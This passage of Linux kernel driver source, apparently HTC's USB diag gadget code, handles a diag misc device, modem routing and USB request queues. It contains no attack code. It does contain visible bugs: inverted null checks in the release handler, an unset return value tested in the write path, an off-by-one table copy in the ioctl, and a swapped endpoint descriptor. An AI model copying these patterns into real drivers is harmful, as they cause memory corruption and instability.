&ctxt->rx_req_idle, req); mutex_unlock(&ctxt->user_lock); return ret; } static ssize_t htc_diag_write(struct file *fp, const char __user *buf, size_t count, loff_t *pos) { struct diag_context *ctxt = &_context; int ret = 0; DIAG_INFO("%s:%s(parent:%s): tgid=%d\n", __func__, current->comm, current->parent->comm, current->tgid); mutex_lock(&ctxt->user_lock); if (ret < 0) { DIAG_INFO("%s: wait_event_interruptible error %d\n", __func__, ret); goto end; } if (!ctxt->online) { DIAG_INFO("%s: offline\n", __func__); ret = -EIO; goto end; } if (count > TRX_REQ_BUF_SZ) count = TRX_REQ_BUF_SZ; if (!htc_write_buf_copy || !htc_write_diag_req) { ret = -EIO; goto end; } if (copy_from_user(htc_write_buf_copy, buf, count)) { ret = -EFAULT; DIAG_INFO("%s:EFAULT\n", __func__); goto end; } htc_write_diag_req->buf = htc_write_buf_copy; htc_write_diag_req->length = count; driver->in_busy_dmrounter = 1; ret = usb_diag_write(driver->legacy_ch, htc_write_diag_req); if (ret < 0) { DIAG_INFO("%s: usb_diag_write error %d\n", __func__, ret); goto end; } ret = count; end: mutex_unlock(&ctxt->user_lock); return ret; } static int htc_diag_open(struct inode *ip, struct file *fp) { struct diag_context *ctxt = &_context; int rc = 0; int n; struct usb_request *req; DIAG_INFO("%s:%s(parent:%s): tgid=%d\n", __func__, current->comm, current->parent->comm, current->tgid); mutex_lock(&ctxt->user_lock); if (ctxt->opened) { pr_err("%s: already opened\n", __func__); rc = -EBUSY; goto done; } ctxt->user_read_len = 0; ctxt->user_readp = 0; if (!ctxt->user_read_buf) { ctxt->user_read_buf = kmalloc(TRX_REQ_BUF_SZ, GFP_KERNEL); if (!ctxt->user_read_buf) { rc = -ENOMEM; goto done; } } if (!htc_write_buf_copy) { htc_write_buf_copy = (char *)kmalloc(TRX_REQ_BUF_SZ, GFP_KERNEL); if (!htc_write_buf_copy) { rc = -ENOMEM; kfree(ctxt->user_read_buf); goto done; } } if (!htc_write_diag_req) { htc_write_diag_req = &htc_w_diag_req; if (!htc_write_diag_req) { kfree(ctxt->user_read_buf); kfree(htc_write_buf_copy); rc = -ENOMEM; goto done; } } /* clear pending data if any */ while ((req = req_get(ctxt, &ctxt->rx_req_idle))) diag_req_free(req); for (n = 0; n < 10; n++) { req = diag_req_new(SMD_MAX); if (!req) { while ((req = req_get(ctxt, &ctxt->rx_req_idle))) diag_req_free(req); rc = -EFAULT; goto done; } req_put(ctxt, &ctxt->rx_req_idle, req); } ctxt->opened = true; /* clear the error latch */ ctxt->error = 0; done: mutex_unlock(&ctxt->user_lock); return rc; } static int htc_diag_release(struct inode *ip, struct file *fp) { struct diag_context *ctxt = &_context; struct usb_request *req; DIAG_INFO("%s: \n", __func__); mutex_lock(&ctxt->user_lock); ctxt->opened = false; ctxt->user_read_len = 0; ctxt->user_readp = 0; if (ctxt->user_read_buf) { kfree(ctxt->user_read_buf); ctxt->user_read_buf = 0; } if (!htc_write_buf_copy) { kfree(htc_write_buf_copy); htc_write_buf_copy = 0; } if (!htc_write_diag_req) { kfree(htc_write_diag_req); htc_write_diag_req = 0; } while ((req = req_get(ctxt, &ctxt->rx_req_idle))) diag_req_free(req); while ((req = req_get(ctxt, &ctxt->rx_req_user))) diag_req_free(req); mutex_unlock(&ctxt->user_lock); return 0; } static struct file_operations htc_diag_fops = { .owner = THIS_MODULE, .read = htc_diag_read, .write = htc_diag_write, .open = htc_diag_open, .release = htc_diag_release, .unlocked_ioctl = htc_diag_ioctl, }; static struct miscdevice htc_diag_device_fops = { .minor = MISC_DYNAMIC_MINOR, .name = "htcdiag", .fops = &htc_diag_fops, }; static int if_route_to_userspace(struct diag_context *ctxt, unsigned int cmd) { unsigned long flags; int i; unsigned short tmp; unsigned char cmd_id, cmd_num; tmp = (unsigned short)cmd; cmd_num = (unsigned char)(tmp >> 8); cmd_id = (unsigned char)(tmp & 0x00ff); if (!ctxt->opened || cmd_id == 0) return 0; /* command ids 0xfb..0xff are not used by msm diag; we steal these ids * for communication between userspace tool and host test tool. */ /*printk("cmd_num=%d cmd_id=%d\n", cmd_num, cmd_id);*/ if (cmd_id >= 0xfb && cmd_id <= 0xff) return 1; spin_lock_irqsave(&ctxt->req_lock, flags); for (i = 0; i < ARRAY_SIZE(ctxt->id_table); i = i+2) if (ctxt->id_table[i] == cmd_id) { /* if the command id equals to any of registered ids, * route to userspace to handle. */ if (ctxt->id_table[i+1] == cmd_num || ctxt->id_table[i+1] == 0xff) { spin_unlock_irqrestore(&ctxt->req_lock, flags); return 1; } } spin_unlock_irqrestore(&ctxt->req_lock, flags); return 0; } #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) static long diag2arm9_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct diag_context *ctxt = &_context; void __user *argp = (void __user *)arg; unsigned long flags; uint16_t temp_nv_table[NV_TABLE_SZ]; int table_size; uint16_t *table_ptr; if (_IOC_TYPE(cmd) != USB_DIAG_IOC_MAGIC) return -ENOTTY; DIAG_INFO("%s:%s(parent:%s): tgid=%d\n", __func__, current->comm, current->parent->comm, current->tgid); switch (cmd) { case USB_DIAG_NV_7K9K_SET: DIAG_INFO("USB_DIAG_NV_7K9K_SET\n"); table_size = NV_TABLE_SZ; table_ptr = nv7K9K_table; break; case USB_DIAG_NV_7KONLY_SET: DIAG_INFO("USB_DIAG_NV_7KONLY_SET\n"); table_size = NV_TABLE_SZ; table_ptr = nv7Konly_table; break; case USB_DIAG_NV_9KONLY_SET: DIAG_INFO("USB_DIAG_NV_9KONLY_SET\n"); table_size = NV_TABLE_SZ; table_ptr = nv9Konly_table; break; case USB_DIAG_NV_7K9KDIFF_SET: DIAG_INFO("USB_DIAG_NV_7K9KDIFF_SET\n"); table_size = NV_TABLE_SZ; table_ptr = nv7K9Kdiff_table; break; case USB_DIAG_PRL_7K9K_SET: DIAG_INFO("USB_DIAG_PRL_7K9K_SET\n"); table_size = PRL_TABLE_SZ; table_ptr = PRL7K9K_table; break; case USB_DIAG_PRL_7KONLY_SET: DIAG_INFO("USB_DIAG_PRL_7KONLY_SET\n"); table_size = PRL_TABLE_SZ; table_ptr = PRL7Konly_table; break; case USB_DIAG_PRL_9KONLY_SET: DIAG_INFO("USB_DIAG_PRL_9KONLY_SET\n"); table_size = PRL_TABLE_SZ; table_ptr = PRL9Konly_table; break; case USB_DIAG_PRL_7K9KDIFF_SET: DIAG_INFO("USB_DIAG_PRL_7K9KDIFF_SET\n"); table_size = PRL_TABLE_SZ; table_ptr = PRL7K9Kdiff_table; break; case USB_DIAG_M29_7K9K_SET: DIAG_INFO("USB_DIAG_M29_7K9K_SET\n"); table_size = M29_TABLE_SZ; table_ptr = M297K9K_table; break; case USB_DIAG_M29_7KONLY_SET: DIAG_INFO("USB_DIAG_M29_7KONLY_SET\n"); table_size = M29_TABLE_SZ; table_ptr = M297Konly_table; break; case USB_DIAG_M29_9KONLY_SET: DIAG_INFO("USB_DIAG_M29_9KONLY_SET\n"); table_size = M29_TABLE_SZ; table_ptr = M299Konly_table; break; case USB_DIAG_M29_7K9KDIFF_SET: DIAG_INFO("USB_DIAG_M29_7K9KDIFF_SET\n"); table_size = M29_TABLE_SZ; table_ptr = M297K9Kdiff_table; break; default: return -ENOTTY; } if (copy_from_user(temp_nv_table, (uint8_t *)argp, (table_size*2))) return -EFAULT; DIAG_INFO("%s:input %d item\n", __func__, temp_nv_table[0]); if (temp_nv_table[0] > table_size) return -EFAULT; spin_lock_irqsave(&ctxt->req_lock, flags); memcpy((uint8_t *)table_ptr, (uint8_t *)&temp_nv_table[0], (temp_nv_table[0]+1)*2); print_hex_dump(KERN_DEBUG, "TABLE Data: ", 16, 1, DUMP_PREFIX_ADDRESS, table_ptr, (*table_ptr+1)*2, 1); spin_unlock_irqrestore(&ctxt->req_lock, flags); return 0; } #endif static int diag2arm9_open(struct inode *ip, struct file *fp) { struct diag_context *ctxt = &_context; struct usb_request *req; int rc = 0; int n; DIAG_INFO("%s\n", __func__); mutex_lock(&ctxt->diag2arm9_lock); if (ctxt->diag2arm9_opened) { pr_err("%s: already opened\n", __func__); rc = -EBUSY; goto done; } /* clear pending data if any */ while ((req = req_get(ctxt, &ctxt->rx_arm9_done))) diag_req_free(req); for (n = 0; n < 4; n++) { req = diag_req_new(SMD_MAX); if (!req) { while ((req = req_get(ctxt, &ctxt->rx_arm9_idle))) diag_req_free(req); rc = -EFAULT; goto done; } req_put(ctxt, &ctxt->rx_arm9_idle, req); } ctxt->read_arm9_count = 0; ctxt->read_arm9_buf = 0; ctxt->read_arm9_req = 0; ctxt->diag2arm9_opened = true; diag_smd_enable(driver->ch, "diag2arm9_open", SMD_FUNC_OPEN_DIAG); #if defined(CONFIG_MACH_VIGOR) diag2arm9_buf_9k = kzalloc(USB_MAX_OUT_BUF, GFP_KERNEL); #endif done: mutex_unlock(&ctxt->diag2arm9_lock); return rc; } static int diag2arm9_release(struct inode *ip, struct file *fp) { struct diag_context *ctxt = &_context; struct usb_request *req; DIAG_INFO("%s\n", __func__); mutex_lock(&ctxt->diag2arm9_lock); ctxt->diag2arm9_opened = false; wake_up(&ctxt->read_arm9_wq); mutex_lock(&ctxt->diag2arm9_read_lock); while ((req = req_get(ctxt, &ctxt->rx_arm9_idle))) diag_req_free(req); while ((req = req_get(ctxt, &ctxt->rx_arm9_done))) diag_req_free(req); if (ctxt->read_arm9_req) diag_req_free(ctxt->read_arm9_req); mutex_unlock(&ctxt->diag2arm9_read_lock); /************************************* * If smd is closed, it will lead to slate can't be tested. * slate will open it for one time * but close it for several times and never open *************************************/ /*smd_diag_enable("diag2arm9_release", 0);*/ mutex_unlock(&ctxt->diag2arm9_lock); #if defined(CONFIG_MACH_VIGOR) kfree(diag2arm9_buf_9k); #endif return 0; } static ssize_t diag2arm9_write(struct file *fp, const char __user *buf, size_t count, loff_t *pos) { struct diag_context *ctxt = &_context; int r = count; int writed = 0; #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) int path; #if defined(CONFIG_MACH_MECHA) unsigned char *buf_9k = NULL; #endif #endif DIAG_INFO("%s\n", __func__); mutex_lock(&ctxt->diag2arm9_write_lock); while (count > 0) { writed = count > SMD_MAX ? SMD_MAX : count; if (copy_from_user(ctxt->toARM9_buf, buf, writed)) { r = -EFAULT; break; } if (driver->ch == NULL) { DIAG_INFO("%s: driver->ch == NULL", __func__); r = -EFAULT; break; } else if (ctxt->toARM9_buf == NULL) { DIAG_INFO("%s: ctxt->toARM9_buf == NULL", __func__); r = -EFAULT; break; } #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) path = checkcmd_modem_epst(ctxt->toARM9_buf); switch (path) { case DM7K9K: DIAG_INFO("%s:DM7K9K sdio=%d\n", __func__, sdio_diag_initialized); print_hex_dump(KERN_DEBUG, "DM Packet Data" " write to radio ", 16, 1, DUMP_PREFIX_ADDRESS, ctxt->toARM9_buf, writed, 1); smd_write(driver->ch, ctxt->toARM9_buf, writed); #if defined(CONFIG_MACH_MECHA) if (sdio_diag_initialized) { buf_9k = kzalloc(writed, GFP_KERNEL); if (!buf_9k) { DIAG_INFO("%s:out of memory\n", __func__); mutex_unlock(&ctxt->diag2arm9_write_lock); return -ENOMEM; } memcpy(buf_9k, ctxt->toARM9_buf, writed); msm_sdio_diag_write((void *)buf_9k, writed); buf_9k = NULL; } #endif #if defined(CONFIG_MACH_VIGOR) if (driver->sdio_ch) { memcpy(diag2arm9_buf_9k, ctxt->toARM9_buf, writed); sdio_write(driver->sdio_ch, diag2arm9_buf_9k, writed); } else { DIAG_INFO("%s: sdio ch fails\n", __func__); } #endif break; case DM9KONLY: DIAG_INFO("%s:DM9KONLY sdio=%d\n", __func__, sdio_diag_initialized); print_hex_dump(KERN_DEBUG, "DM Packet Data" " write to radio ", 16, 1, DUMP_PREFIX_ADDRESS, ctxt->toARM9_buf, writed, 1); #if defined(CONFIG_MACH_MECHA) if (sdio_diag_initialized) { buf_9k = kzalloc(writed, GFP_KERNEL); if (!buf_9k) { DIAG_INFO("%s:out of memory\n", __func__); mutex_unlock(&ctxt->diag2arm9_write_lock); return -ENOMEM; } memcpy(buf_9k, ctxt->toARM9_buf, writed); msm_sdio_diag_write((void *)buf_9k, writed); buf_9k = NULL; } #endif #if defined(CONFIG_MACH_VIGOR) if (driver->sdio_ch) { memcpy(diag2arm9_buf_9k, ctxt->toARM9_buf, writed); sdio_write(driver->sdio_ch, diag2arm9_buf_9k, writed); } else { DIAG_INFO("%s: sdio ch fails\n", __func__); } #endif break; case DM7K9KDIFF: DIAG_INFO("%s:DM7K9KDIFF sdio=%d\n", __func__, sdio_diag_initialized); print_hex_dump(KERN_DEBUG, "DM Packet Data" " write to radio ", 16, 1, DUMP_PREFIX_ADDRESS, ctxt->toARM9_buf, writed, 1); if ((ctxt->toARM9_buf[3] & 0x80) == 0x80) { DIAG_INFO("%s:DM7K9KDIFF to 9K\n", __func__); #if defined(CONFIG_MACH_MECHA) if (sdio_diag_initialized) { buf_9k = kzalloc(USB_MAX_OUT_BUF, GFP_KERNEL); if (!buf_9k) { DIAG_INFO("%s:out of memory\n", __func__); mutex_unlock(&ctxt->diag2arm9_write_lock); return -ENOMEM; } if (decode_encode_hdlc(ctxt->toARM9_buf, &writed, buf_9k, 1, 3)) { kfree(buf_9k); mutex_unlock(&ctxt->diag2arm9_write_lock); return -EINVAL; } msm_sdio_diag_write((void *)buf_9k, writed); buf_9k = NULL; } #endif #if defined(CONFIG_MACH_VIGOR) if (driver->sdio_ch) { if (decode_encode_hdlc(ctxt->toARM9_buf, &writed, diag2arm9_buf_9k, 1, 3)) { mutex_unlock(&ctxt->diag2arm9_write_lock); return -EINVAL; } sdio_write(driver->sdio_ch, diag2arm9_buf_9k, writed); } else { DIAG_INFO("%s: sdio ch fails\n", __func__); } #endif } else { DIAG_INFO("%s:DM7K9KDIFF to 7K\n", __func__); smd_write(driver->ch, ctxt->toARM9_buf, writed); } break; case DM7KONLY: //printk(KERN_INFO "%s:DM7KONLY sdio=%d\n", __func__, sdio_diag_initialized); print_hex_dump(KERN_DEBUG, "DM Packet Data" " write to radio ", 16, 1, DUMP_PREFIX_ADDRESS, ctxt->toARM9_buf, writed, 1); smd_write(driver->ch, ctxt->toARM9_buf, writed); break; case NO_DEF_ID: case NO_DEF_ITEM: default: DIAG_INFO("%s:no default routing path\n", __func__); print_hex_dump(KERN_DEBUG, "DM Packet Data" " write to radio ", 16, 1, DUMP_PREFIX_ADDRESS, ctxt->toARM9_buf, writed, 1); } #endif buf += writed; count -= writed; } mutex_unlock(&ctxt->diag2arm9_write_lock); return r; } static ssize_t diag2arm9_read(struct file *fp, char __user *buf, size_t count, loff_t *pos) { struct diag_context *ctxt = &_context; struct usb_request *req; int r = 0, xfer; int ret; DIAG_INFO("%s\n", __func__); mutex_lock(&ctxt->diag2arm9_read_lock); /* if we have data pending, give it to userspace */ if (ctxt->read_arm9_count > 0) req = ctxt->read_arm9_req; else { retry: /* get data from done queue */ req = 0; ret = wait_event_interruptible(ctxt->read_arm9_wq, ((req = req_get(ctxt, &ctxt->rx_arm9_done)) || !ctxt->diag2arm9_opened)); if (!ctxt->diag2arm9_opened) { if (req) req_put(ctxt, &ctxt->rx_arm9_idle, req); goto done; } if (ret < 0 || req == 0) goto done; if (req->actual == 0) { req_put(ctxt, &ctxt->rx_arm9_idle, req); goto retry; } ctxt->read_arm9_req = req; ctxt->read_arm9_count = req->actual; ctxt->read_arm9_buf = req->buf; } xfer = (ctxt->read_arm9_count < count) ? ctxt->read_arm9_count : count; if (copy_to_user(buf, ctxt->read_arm9_buf, xfer)) { DIAG_INFO("diag: copy_to_user fail\n"); r = -EFAULT; goto done; } ctxt->read_arm9_buf += xfer; ctxt->read_arm9_count -= xfer; r += xfer; /* if we've emptied the buffer, release the request */ if (ctxt->read_arm9_count == 0) { print_hex_dump(KERN_DEBUG, "DM Packet Data" " read from radio ", 16, 1, DUMP_PREFIX_ADDRESS, req->buf, req->actual, 1); req_put(ctxt, &ctxt->rx_arm9_idle, ctxt->read_arm9_req); ctxt->read_arm9_req = 0; } done: mutex_unlock(&ctxt->diag2arm9_read_lock); return r; } static struct file_operations diag2arm9_fops = { .owner = THIS_MODULE, .open = diag2arm9_open, .release = diag2arm9_release, .write = diag2arm9_write, .read = diag2arm9_read, #if defined(CONFIG_MACH_MECHA) || defined(CONFIG_MACH_VIGOR) .unlocked_ioctl = diag2arm9_ioctl, #endif }; static struct miscdevice diag2arm9_device = { .minor = MISC_DYNAMIC_MINOR, .name = "diag_arm9", .fops = &diag2arm9_fops, }; #endif static inline struct diag_context *func_to_dev(struct usb_function *f) { return container_of(f, struct diag_context, function); } static void usb_config_work_func(struct work_struct *work) { struct diag_context *ctxt = container_of(work, struct diag_context, config_work); #if 0 struct usb_composite_dev *cdev = ctxt->cdev; struct usb_gadget_strings *table; struct usb_string *s; #endif DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); ctxt->tx_count = ctxt->rx_count = 0; ctxt->usb_in_count = ctxt->usb_out_count = 0; driver->diag_smd_count = driver->diag_qdsp_count = 0; if (ctxt->ch.notify && (!driver->usb_connected)) ctxt->ch.notify(ctxt->ch.priv, USB_DIAG_CONNECT, NULL); #if 0 if (!ctxt->pdata) return; /* pass on product id and serial number to dload */ if (!cdev->desc.iSerialNumber) { ctxt->pdata->update_pid_and_serial_num( cdev->desc.idProduct, 0); return; } /* * Serial number is filled by the composite driver. So * it is fair enough to assume that it will always be * found at first table of strings. */ table = *(cdev->driver->strings); for (s = table->strings; s && s->s; s++) if (s->id == cdev->desc.iSerialNumber) { ctxt->pdata->update_pid_and_serial_num( cdev->desc.idProduct, s->s); break; } #endif } static void diag_write_complete(struct usb_ep *ep , struct usb_request *req) { struct diag_context *ctxt = ep->driver_data; struct diag_request *d_req = req->context; unsigned long flags; if (ctxt == NULL) { DIAG_INFO("%s: requesting" "NULL device pointer\n", __func__); return; } if (!req->status) { if ((req->length >= ep->maxpacket) && ((req->length % ep->maxpacket) == 0)) { req->length = 0; d_req->actual = req->actual; d_req->status = req->status; /* Queue zero length packet */ usb_ep_queue(ctxt->in, req, GFP_ATOMIC); return; } } spin_lock_irqsave(&ctxt->lock, flags); list_add_tail(&req->list, &ctxt->write_pool); if (req->length != 0) { d_req->actual = req->actual; d_req->status = req->status; } spin_unlock_irqrestore(&ctxt->lock, flags); if (ctxt->ch.notify) ctxt->ch.notify(ctxt->ch.priv, USB_DIAG_WRITE_DONE, d_req); } static void diag_read_complete(struct usb_ep *ep , struct usb_request *req) { struct diag_context *ctxt = ep->driver_data; struct diag_request *d_req = req->context; struct usb_request *xpst_req; unsigned long flags; #if DIAG_XPST unsigned int cmd_id; #endif d_req->actual = req->actual; d_req->status = req->status; spin_lock_irqsave(&ctxt->lock, flags); list_add_tail(&req->list, &ctxt->read_pool); spin_unlock_irqrestore(&ctxt->lock, flags); #if DIAG_XPST #ifdef HTC_DIAG_DEBUG DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); print_hex_dump(KERN_DEBUG, "from PC: ", 16, 1, DUMP_PREFIX_ADDRESS, req->buf, req->actual, 1); #endif cmd_id = *((unsigned short *)req->buf); if ((ctxt != mdmctxt) && if_route_to_userspace(ctxt, cmd_id)) { xpst_req = req_get(ctxt, &ctxt->rx_req_idle); if (xpst_req) { xpst_req->actual = req->actual; xpst_req->status = req->status; memcpy(xpst_req->buf, req->buf, req->actual); req_put(ctxt, &ctxt->rx_req_user, xpst_req); wake_up(&ctxt->read_wq); driver->nohdlc = 1; } else DIAG_INFO("%s No enough xpst_req \n", __func__); } else { driver->nohdlc = 0; ctxt->tx_count += req->actual; } #endif ctxt->usb_out_count += req->actual; if (ctxt->ch.notify) ctxt->ch.notify(ctxt->ch.priv, USB_DIAG_READ_DONE, d_req); } /** * usb_diag_open() - Open a diag channel over USB * @name: Name of the channel * @priv: Private structure pointer which will be passed in notify() * @notify: Callback function to receive notifications * * This function iterates overs the available channels and returns * the channel handler if the name matches. The notify callback is called * for CONNECT, DISCONNECT, READ_DONE and WRITE_DONE events. * */ struct usb_diag_ch *usb_diag_open(const char *name, void *priv, void (*notify)(void *, unsigned, struct diag_request *)) { struct usb_diag_ch *ch; unsigned long flags; int found = 0; DIAG_DBUG("%s: \n", __func__); spin_lock_irqsave(&ch_lock, flags); list_for_each_entry(ch, &usb_diag_ch_list, list) { if (!strcmp(name, ch->name)) { found = 1; break; } } if (!found) { ch = ERR_PTR(-ENOENT); goto out; } if (ch->priv) { ch = ERR_PTR(-EBUSY); goto out; } ch->priv = priv; ch->notify = notify; out: spin_unlock_irqrestore(&ch_lock, flags); return ch; } EXPORT_SYMBOL(usb_diag_open); /** * usb_diag_close() - Close a diag channel over USB * @ch: Channel handler * * This function closes the diag channel. * */ void usb_diag_close(struct usb_diag_ch *ch) { unsigned long flags; DIAG_DBUG("%s: \n", __func__); spin_lock_irqsave(&ch_lock, flags); ch->priv = NULL; ch->notify = NULL; spin_unlock_irqrestore(&ch_lock, flags); } EXPORT_SYMBOL(usb_diag_close); /** * usb_diag_free_req() - Free USB requests * @ch: Channel handler * * This function free read and write USB requests for the interface * associated with this channel. * */ void usb_diag_free_req(struct usb_diag_ch *ch) { struct diag_context *ctxt = ch->priv_usb; struct usb_request *req; struct list_head *act, *tmp; DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); if (!ctxt) return; list_for_each_safe(act, tmp, &ctxt->write_pool) { req = list_entry(act, struct usb_request, list); list_del(&req->list); usb_ep_free_request(ctxt->in, req); } list_for_each_safe(act, tmp, &ctxt->read_pool) { req = list_entry(act, struct usb_request, list); list_del(&req->list); usb_ep_free_request(ctxt->out, req); } } EXPORT_SYMBOL(usb_diag_free_req); /** * usb_diag_alloc_req() - Allocate USB requests * @ch: Channel handler * @n_write: Number of requests for Tx * @n_read: Number of requests for Rx * * This function allocate read and write USB requests for the interface * associated with this channel. The actual buffer is not allocated. * The buffer is passed by diag char driver. * */ int usb_diag_alloc_req(struct usb_diag_ch *ch, int n_write, int n_read) { struct diag_context *ctxt = ch->priv_usb; struct usb_request *req; int i; DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); if (!ctxt) return -ENODEV; for (i = 0; i < n_write; i++) { req = usb_ep_alloc_request(ctxt->in, GFP_ATOMIC); if (!req) goto fail; req->complete = diag_write_complete; list_add_tail(&req->list, &ctxt->write_pool); } for (i = 0; i < n_read; i++) { req = usb_ep_alloc_request(ctxt->out, GFP_ATOMIC); if (!req) goto fail; req->complete = diag_read_complete; list_add_tail(&req->list, &ctxt->read_pool); } return 0; fail: usb_diag_free_req(ch); return -ENOMEM; } EXPORT_SYMBOL(usb_diag_alloc_req); /** * usb_diag_read() - Read data from USB diag channel * @ch: Channel handler * @d_req: Diag request struct * * Enqueue a request on OUT endpoint of the interface corresponding to this * channel. This function returns proper error code when interface is not * in configured state, no Rx requests available and ep queue is failed. * * This function operates asynchronously. READ_DONE event is notified after * completion of OUT request. * */ int usb_diag_read(struct usb_diag_ch *ch, struct diag_request *d_req) { struct diag_context *ctxt = ch->priv_usb; unsigned long flags; struct usb_request *req = NULL; #ifdef HTC_DIAG_DEBUG DIAG_DBUG("%s: \n", __func__); #endif spin_lock_irqsave(&ctxt->lock, flags); if (!ctxt->configured) { spin_unlock_irqrestore(&ctxt->lock, flags); return -EIO; } if (list_empty(&ctxt->read_pool)) { spin_unlock_irqrestore(&ctxt->lock, flags); ERROR(ctxt->cdev, "%s: no requests available\n", __func__); return -EAGAIN; } req = list_first_entry(&ctxt->read_pool, struct usb_request, list); list_del(&req->list); spin_unlock_irqrestore(&ctxt->lock, flags); req->buf = d_req->buf; req->length = d_req->length; req->context = d_req; if (usb_ep_queue(ctxt->out, req, GFP_ATOMIC)) { /* If error add the link to linked list again*/ spin_lock_irqsave(&ctxt->lock, flags); list_add_tail(&req->list, &ctxt->read_pool); spin_unlock_irqrestore(&ctxt->lock, flags); ERROR(ctxt->cdev, "%s: cannot queue" " read request\n", __func__); return -EIO; } return 0; } EXPORT_SYMBOL(usb_diag_read); /** * usb_diag_write() - Write data from USB diag channel * @ch: Channel handler * @d_req: Diag request struct * * Enqueue a request on IN endpoint of the interface corresponding to this * channel. This function returns proper error code when interface is not * in configured state, no Tx requests available and ep queue is failed. * * This function operates asynchronously. WRITE_DONE event is notified after * completion of IN request. * */ int usb_diag_write(struct usb_diag_ch *ch, struct diag_request *d_req) { struct diag_context *ctxt = ch->priv_usb; unsigned long flags; struct usb_request *req = NULL; #ifdef HTC_DIAG_DEBUG DIAG_DBUG("%s: \n", __func__); #endif spin_lock_irqsave(&ctxt->lock, flags); if (!ctxt->configured) { spin_unlock_irqrestore(&ctxt->lock, flags); return -EIO; } if (list_empty(&ctxt->write_pool)) { spin_unlock_irqrestore(&ctxt->lock, flags); ERROR(ctxt->cdev, "%s: no requests available\n", __func__); return -EAGAIN; } req = list_first_entry(&ctxt->write_pool, struct usb_request, list); list_del(&req->list); spin_unlock_irqrestore(&ctxt->lock, flags); req->buf = d_req->buf; req->length = d_req->length; req->context = d_req; if (usb_ep_queue(ctxt->in, req, GFP_ATOMIC)) { /* If error add the link to linked list again*/ spin_lock_irqsave(&ctxt->lock, flags); list_add_tail(&req->list, &ctxt->write_pool); spin_unlock_irqrestore(&ctxt->lock, flags); ERROR(ctxt->cdev, "%s: cannot queue" " read request\n", __func__); return -EIO; } ctxt->usb_in_count += d_req->length; return 0; } EXPORT_SYMBOL(usb_diag_write); struct usb_diag_ch *diag_setup(void) { unsigned long flags; #ifdef HTC_DIAG_DEBUG DIAG_DBUG("%s: \n", __func__); #endif /* ctxt = kzalloc(sizeof(*ctxt), GFP_KERNEL);*/ legacyctxt = &_context; legacych = &legacyctxt->ch; spin_lock_irqsave(&ch_lock, flags); legacych->name = DIAG_LEGACY; list_add_tail(&legacych->list, &usb_diag_ch_list); spin_unlock_irqrestore(&ch_lock, flags); #if defined(CONFIG_USB_ANDROID_LTE_DIAG) mdmctxt = kzalloc(sizeof(*mdmctxt), GFP_KERNEL); if (!mdmctxt) return ERR_PTR(-ENOMEM); mdmch = &mdmctxt->ch; spin_lock_irqsave(&ch_lock, flags); mdmch->name = DIAG_MDM; list_add_tail(&mdmch->list, &usb_diag_ch_list); spin_unlock_irqrestore(&ch_lock, flags); #endif return legacych; } EXPORT_SYMBOL(diag_setup); static void diag_function_disable(struct usb_function *f) { struct diag_context *dev = func_to_dev(f); unsigned long flags; DIAG_INFO("%s: dev=%s\n", __func__, (dev == mdmctxt)?DIAG_MDM:DIAG_LEGACY); spin_lock_irqsave(&dev->lock, flags); diag_configured = dev->configured = 0; spin_unlock_irqrestore(&dev->lock, flags); if (dev->ch.notify && (driver->usb_connected)) dev->ch.notify(dev->ch.priv, USB_DIAG_DISCONNECT, NULL); usb_ep_disable(dev->in); dev->in->driver_data = NULL; usb_ep_disable(dev->out); dev->out->driver_data = NULL; #if DIAG_XPST if (dev == legacyctxt) { dev->online = 0; wake_up(&dev->read_wq); } #endif } static int diag_function_set_alt(struct usb_function *f, unsigned intf, unsigned alt) { struct diag_context *dev = func_to_dev(f); struct usb_composite_dev *cdev = f->config->cdev; unsigned long flags; int rc = 0; #if DIAG_XPST struct usb_request *req; #endif DIAG_INFO("%s: dev=%s\n", __func__, (dev == mdmctxt)?DIAG_MDM:DIAG_LEGACY); if (!dev) return -ENODEV; dev->in_desc = ep_choose(cdev->gadget, &hs_bulk_in_desc, &fs_bulk_in_desc); dev->out_desc = ep_choose(cdev->gadget, &hs_bulk_out_desc, &fs_bulk_in_desc); dev->in->driver_data = dev; rc = usb_ep_enable(dev->in, dev->in_desc); if (rc) { ERROR(dev->cdev, "can't enable %s, result %d\n", dev->in->name, rc); return rc; } dev->out->driver_data = dev; rc = usb_ep_enable(dev->out, dev->out_desc); if (rc) { ERROR(dev->cdev, "can't enable %s, result %d\n", dev->out->name, rc); usb_ep_disable(dev->in); return rc; } dev->i_serial_number = cdev->desc.iSerialNumber; dev->product_id = cdev->desc.idProduct; schedule_work(&dev->config_work); spin_lock_irqsave(&dev->lock, flags); diag_configured = dev->configured = 1; #if DIAG_XPST if (dev == legacyctxt) { while ((req = req_get(dev, &dev->rx_req_user))) req_put(dev, &dev->rx_req_idle, req); dev->online = !dev->function.hidden; wake_up(&dev->read_wq); } #endif spin_unlock_irqrestore(&dev->lock, flags); return rc; } static void diag_function_unbind(struct usb_configuration *c, struct usb_function *f) { struct diag_context *ctxt = func_to_dev(f); DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); if (!ctxt) return; if (gadget_is_dualspeed(c->cdev->gadget)) usb_free_descriptors(f->hs_descriptors); usb_free_descriptors(f->descriptors); ctxt->ch.priv_usb = NULL; #if DIAG_XPST if (ctxt == legacyctxt) { misc_deregister(&htc_diag_device_fops); misc_deregister(&diag2arm9_device); ctxt->tx_count = ctxt->rx_count = 0; ctxt->usb_in_count = ctxt->usb_out_count = 0; driver->diag_smd_count = driver->diag_qdsp_count = 0; } #endif } static int diag_function_bind(struct usb_configuration *c, struct usb_function *f) { struct usb_composite_dev *cdev = c->cdev; struct diag_context *ctxt = func_to_dev(f); struct usb_ep *ep; int status = -ENODEV; DIAG_INFO("%s: dev=%s\n", __func__, (ctxt == mdmctxt)?DIAG_MDM:DIAG_LEGACY); if (!ctxt) return status; ctxt->cdev = cdev; intf_desc.bInterfaceNumber = usb_interface_id(c, f); ep = 